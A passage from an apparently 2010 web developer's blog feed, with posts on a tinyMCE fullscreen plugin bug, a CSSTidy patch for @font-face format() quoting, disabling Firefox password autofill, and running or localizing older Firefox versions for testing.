&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;                  ed&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;style&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;overflow&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ed&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getParam&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;fullscreen_html_overflow&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;                  DOM&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;setStyle&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;DOM&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;doc&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;overflow&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;ed&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getParam&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;fullscreen_overflow&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;                  DOM&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;win&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;scrollTo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;ed&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getParam&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;fullscreen_scrollx&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;ed&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getParam&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;fullscreen_scrolly&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;                  tinyMCE&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;settings&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; tinyMCE&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;oldSettings&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Restore old settings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you&#39;re not familiar with the complex tinyMCE syntax this may seems a
little... well... complex.  I&#39;ll focus on the error line but I wanted to paste
the whole code block so you can see my point.&lt;/p&gt;
&lt;p&gt;The error line is this one:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;ed&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;style&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;overflow&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ed&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getParam&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;fullscreen_html_overflow&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Of course it will throw an error, we try to access a property of an element we
just removed from the DOM (two lines before: &lt;code&gt;tinyMCE.remove(ed);&lt;/code&gt;). Why would
someone want to do that?&lt;/p&gt;
&lt;p&gt;Well in fact, this is not &lt;code&gt;ed&lt;/code&gt; (that we should try to access, but &lt;code&gt;de&lt;/code&gt; (short
for &lt;code&gt;DOM.doc.documentElement&lt;/code&gt;). In fact the code was correct in 3.3.2, but
someone changed it around 3.3.3.&lt;/p&gt;
&lt;p&gt;My guess is that someone had the file opened, saw this bit of code, spotted the
&lt;code&gt;de&lt;/code&gt;, and seeing a lot of references to &lt;code&gt;ed&lt;/code&gt; all around, thought it was a typo
and &#39;fixed&#39; it.&lt;/p&gt;
&lt;p&gt;Reading the tinyMCE code (whenever you want to understand how it works, or want
to study plugins before creating your own) is pretty hard. There are almost no
comments, and variable names are only one or two letters long.&lt;/p&gt;
&lt;p&gt;The tinyMCE team released a survey asking user what should be improved on the
tinyMCE product. I answered it, and my main point was to improve documentation,
because reading the tinyMCE core to understand its inner goings is quite a
chore.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>@font-face with multiple fonts and CSSTidy</title>
    <link href="https://blog.pixelastic.com/2010/05/07/csstidy-and-the-woff-fonts/"/>
    <updated>2010-05-07T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/07/csstidy-and-the-woff-fonts</id>
    <content type="html">&lt;p&gt;The &lt;code&gt;.woff&lt;/code&gt; font extension is the standard-to-go in terms of font embedding on
the web.&lt;/p&gt;
&lt;p&gt;You should add them first in the order of fonts you&#39;re loading, before the
&lt;code&gt;.ttf&lt;/code&gt;/&lt;code&gt;.otf&lt;/code&gt; ones.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;@font-face&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  font-family&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Unibody8SmallCaps Regular&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  src&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;fonts/unibody_8-smallcaps-webfont.woff&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; format&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;woff&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;fonts/unibody_8-smallcaps-webfont.ttf&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; format&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;truetype&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The interesting thing to note is that you cannot omit the quotes around the
&lt;code&gt;format(&#39;woff&#39;)&lt;/code&gt;/&lt;code&gt;format(&#39;truetype&#39;)&lt;/code&gt; part. Otherwise the font won&#39;t be
recognized (at least by FF3.6).&lt;/p&gt;
&lt;p&gt;CSSTidy seems to have a bug when there are multiple &lt;code&gt;format()&lt;/code&gt; declarations in a
rule, it removes quotes in each of them except the last one, thus making the
whole rule unparsable by the browser.&lt;/p&gt;
&lt;p&gt;So I started, again, to dig into the CSSTidy code and see what I could do about
that.&lt;/p&gt;
&lt;p&gt;I updated the &lt;code&gt;csstidy.php&lt;/code&gt; file at around line 847 and changed the &lt;code&gt;if&lt;/code&gt;
statement to look like this:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;sub_value&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;sub_value_arr&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;sub_value&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  foreach&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;sub_value_arr&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; as&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$sub_value&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;substr&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$sub_value&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;format&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      $sub_value&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; str_replace&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;format(&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;)&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;format(&quot;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&quot;)&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$sub_value&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;sub_value&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This way all sub values of the &lt;code&gt;src:&lt;/code&gt; rule will be correctly parsed, and not
only the last one.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Preventing Firefox from auto-filling login and password fields</title>
    <link href="https://blog.pixelastic.com/2010/05/05/preventing-firefox-from-auto-filling-login-and-password-fields/"/>
    <updated>2010-05-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/05/preventing-firefox-from-auto-filling-login-and-password-fields</id>
    <content type="html">&lt;p&gt;When you login in an app and tell Firefox to remember your password, it will
then automatically fill any password field that have a login field near it.&lt;/p&gt;
&lt;p&gt;It can be quite embarassing when you are developping an admin panel where you
can edit your own profile informations. The password field will be filled every
time you go to that page, even if you explicitly set no value.&lt;/p&gt;
&lt;p&gt;The way to circumvent this is to add an &lt;code&gt;autocomplete=&amp;quot;off&amp;quot;&lt;/code&gt; attribute to the
field.&lt;/p&gt;
&lt;p&gt;It may not validate, but is understood both by IE and FF AFAIK.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>You should always test on older browser versions</title>
    <link href="https://blog.pixelastic.com/2010/05/04/you-should-always-test-on-older-browser-versions/"/>
    <updated>2010-05-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/04/you-should-always-test-on-older-browser-versions</id>
    <content type="html">&lt;p&gt;You probably already have installed on your computer various web browsers (FF,
IE, Safari, Opera and Chrome) to test your websites. You most certainly also
have multiple installs of IE (or are using IETester) because the underlying
engine of those browser is very different from one version to another.&lt;/p&gt;
&lt;p&gt;Firefox, Safari, Opera and Chrome users are more educated to the &amp;quot;always update
to latest version&amp;quot; paradygm so you rarely have to debug old and obscure
version of those browsers.&lt;/p&gt;
&lt;p&gt;At least it was what I thought until I was stucked with an old 3.0 version of
Firefox on my laptop (mostly due to my inability to upgrade to the latest
version. I&#39;m still new to the linux world and my laptop is running ubuntu).
Anyway, it made me understand that even if you are willing to upgrade you can&#39;t
always do it and old browser versions should be supported too.&lt;/p&gt;
&lt;p&gt;In a recent CSS experiment, I managed to style checkboxes and radio buttons in
pure CSS. Unfortunatly, because I was using some &amp;quot;advanced&amp;quot; CSS selectors, FF3.0
wasn&#39;t able to render it correctly, in fact it was able to render only half the
rules, making the whole thing totally unusable.&lt;/p&gt;
&lt;p&gt;That was a perfect example of an old browser I had to debug. I will not dive
into the details of the CSS (mostly because I haven&#39;t fixed it completly), and
this post was only to remind you (and me) to always check on previous browser
versions.&lt;/p&gt;
&lt;p&gt;Next post will be explaining how to test on multiple Firefox versions side by
side.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Using:after and :before</title>
    <link href="https://blog.pixelastic.com/2010/05/04/using-after-and-before/"/>
    <updated>2010-05-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/04/using-after-and-before</id>
    <content type="html">&lt;p&gt;&lt;code&gt;:after&lt;/code&gt; and &lt;code&gt;:before&lt;/code&gt; pseudo-elements allow one to add generated content before
or after an other element. It can be used to add quotes around text, icons after
a link to specify the language of the target page and a lot of other useful
stuff like that.&lt;/p&gt;
&lt;p&gt;It can also be mastered to create more powerful styling. I&#39;ll post more about
that later.&lt;/p&gt;
&lt;p&gt;Anyway, IE6 and IE7 don&#39;t support it. Firefox is supposed to support it from the
3.0 version but in fact it is still buggy in this release.&lt;/p&gt;
&lt;p&gt;Pseudo-elements must be inline elements and can&#39;t be absolutly positionned in
FF3.0, thus greatly reducing the number of fun things we could do with them in
this browser.&lt;/p&gt;
&lt;p&gt;It faced me with a challenge. If I wrote &lt;code&gt;:before&lt;/code&gt; and &lt;code&gt;:after&lt;/code&gt; rules, they
would be only understood by FF3.0 but badly rendered, resulting in half the
styling I expected.&lt;/p&gt;
&lt;p&gt;Browsers that don&#39;t understand the rules would not apply them and keep the
default rendering, compliant browsers will render all the rules, but the grey
area in between is filled with FF3.0 that will think it can handle them and will
finally badly render them.&lt;/p&gt;
&lt;p&gt;I haven&#39;t found a way to specificaly target FF3.0, so I used an alternate
method.&lt;/p&gt;
&lt;p&gt;All the browsers that understand the &lt;code&gt;:only-of-type&lt;/code&gt; selector also understand
&lt;code&gt;:before&lt;/code&gt;/&lt;code&gt;:after&lt;/code&gt;. But FF3.0 and IE7 do not understand &lt;code&gt;:only-of-type&lt;/code&gt;. So if I
wrote a rule starting with &lt;code&gt;body:only-of-type&lt;/code&gt;, it will only be applied to
browsers with complete &lt;code&gt;:after&lt;/code&gt; and &lt;code&gt;:before&lt;/code&gt; support (excluding FF3.0). This
solved my problem.&lt;/p&gt;
&lt;p&gt;Unfortunatly, it will also filter out IE7 who does not understand
&lt;code&gt;:only-of- type&lt;/code&gt; but does understand &lt;code&gt;:after&lt;/code&gt;/&lt;code&gt;:before&lt;/code&gt;. I usually remove all
fancy form styling for IE anyway so that&#39;s not a big deal for me, but if you
really care, you just have to override the rule in a IE7 specific stylesheet.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Running multiple Firefox versions side by side on Windows</title>
    <link href="https://blog.pixelastic.com/2010/05/04/running-multiple-firefox-versions-side-by-side-on-windows/"/>
    <updated>2010-05-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/04/running-multiple-firefox-versions-side-by-side-on-windows</id>
    <content type="html">&lt;p&gt;Whenever you upgrade your Firefox, the new version will overwrite the previous
one. If you want to open multiple Firefox versions side by side, here&#39;s my way :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First, uninstall all your previous Firefox installation(s). Make sure to
backup any important data beforehand (I personnaly use MozBackup to do that).&lt;/li&gt;
&lt;li&gt;Then install the latest available stable version. This will be the main
Firefox version, the one you&#39;ll be using on your dayjob and the one you&#39;ll
always update.&lt;/li&gt;
&lt;li&gt;Now run the Firefox ProfileManager. To do that, create a shortcut to your
&lt;code&gt;firefox.exe&lt;/code&gt; file, then edit this shortcut. In the &amp;quot;Target&amp;quot; field, add
&lt;code&gt;-Profilemanager&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My field looks like:
&lt;code&gt;&amp;quot;C:&#92;Program Files&#92;Internet&#92;Firefox&#92;firefox.exe&amp;quot; -Profilemanager&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;You now have to create one new profile for each FF version you plan on
testing. Give them meaningful names. I named mine &amp;quot;FF3.0&amp;quot;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now download the corresponding Firefox version from
&lt;a href=&quot;http://www.oldversion.com/Mozilla-Firefox.html&quot;&gt;oldversion.com&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Do not install it, but extract its content (using a archiving tool like winrar
or 7-zip) in a tmp directory. Remove the &lt;code&gt;optional&lt;/code&gt; directory as well as
&lt;code&gt;removed-files.log&lt;/code&gt; and &lt;code&gt;setup.exe&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Copy the content of &lt;code&gt;localized/&lt;/code&gt; into &lt;code&gt;nonlocalized/&lt;/code&gt; (overwrite files if
asked).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can now rename the &lt;code&gt;nonlocalized/&lt;/code&gt; directory and move it around on your
hard drive. I renamed mine to &lt;code&gt;Firefox 3.0/&lt;/code&gt; and put it alongside the main
Firefox, in &lt;code&gt;C:&#92;Program Files&#92;Internet&#92;Firefox 3.0&#92;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a shortcut to the &lt;code&gt;firefox.exe&lt;/code&gt; file in this directory and edit the
target field. This time, we have to specify which profile to use. Just add
&lt;code&gt;-P &amp;quot;FF3.0&amp;quot; -no- remote&lt;/code&gt; in the target field.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mine now looks like
&lt;code&gt;C:&#92;Program Files&#92;Internet&#92;Firefox 3.0&#92;firefox.exe&amp;quot; -P &amp;quot;FF3.0&amp;quot; -no-remote&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;That&#39;s it.&lt;/p&gt;
&lt;p&gt;Now, just run your classic Firefox shortcut to open the most up to date Firefox
version, and use the custom shortcuts to open previous versions.&lt;/p&gt;
&lt;p&gt;I personnaly also rename the different &lt;code&gt;firefox.exe&lt;/code&gt; to &lt;code&gt;firefox30.exe&lt;/code&gt;, or
&lt;code&gt;firefox35.exe&lt;/code&gt; to more easily spot them in the taskmanager.&lt;/p&gt;
&lt;p&gt;I also edit each &lt;code&gt;.exe&lt;/code&gt; with ResHack to change their taskbar icons. I haven&#39;t
yet managed to change their title.&lt;/p&gt;
&lt;p&gt;Edit: Now I can&#39;t open .html files directly from the explorer nor follow links
from my IM. I still don&#39;t know exactly what of the steps above caused that.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Changing Firefox language</title>
    <link href="https://blog.pixelastic.com/2010/05/04/changing-firefox-languages/"/>
    <updated>2010-05-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/04/changing-firefox-languages</id>
    <content type="html">&lt;p&gt;I&#39;m French, live in France, but usually prefer having my software in English.&lt;/p&gt;
&lt;p&gt;This is so because english words are generally shorter (and thus fits more
easily in a GUI) and most of the time french translations aren&#39;t optimal.&lt;/p&gt;
&lt;p&gt;I just download the latest Firefox version from their website, and without
knowing it, it was a French localized one. They do some sniffing on the user
agent string and automatically download the corresponding file.&lt;/p&gt;
&lt;p&gt;That seems a great idea, but I prefer my software in english, so I searched for
a &lt;code&gt;en-US.xpi&lt;/code&gt; file to update firefox. It does exists for any other language, but
not for &lt;code&gt;en-US&lt;/code&gt;, this being the default language, as stated in
&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=485860&quot;&gt;this bug report&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It seems the only way to have an english Firefox is to download the english
version, there is no way to change it afterwards.&lt;/p&gt;
&lt;p&gt;You can type &lt;code&gt;about:config&lt;/code&gt; and change the &lt;code&gt;general.useragent.locale&lt;/code&gt; value to
&lt;code&gt;en-US&lt;/code&gt; but it does not update the main language, only tell plugins to use that
language (AFAIK).&lt;/p&gt;
&lt;p&gt;Changing the language in the options only change the user agent string.&lt;/p&gt;
&lt;p&gt;Well, I had to backup my profiles, uninstall FF, download the english version
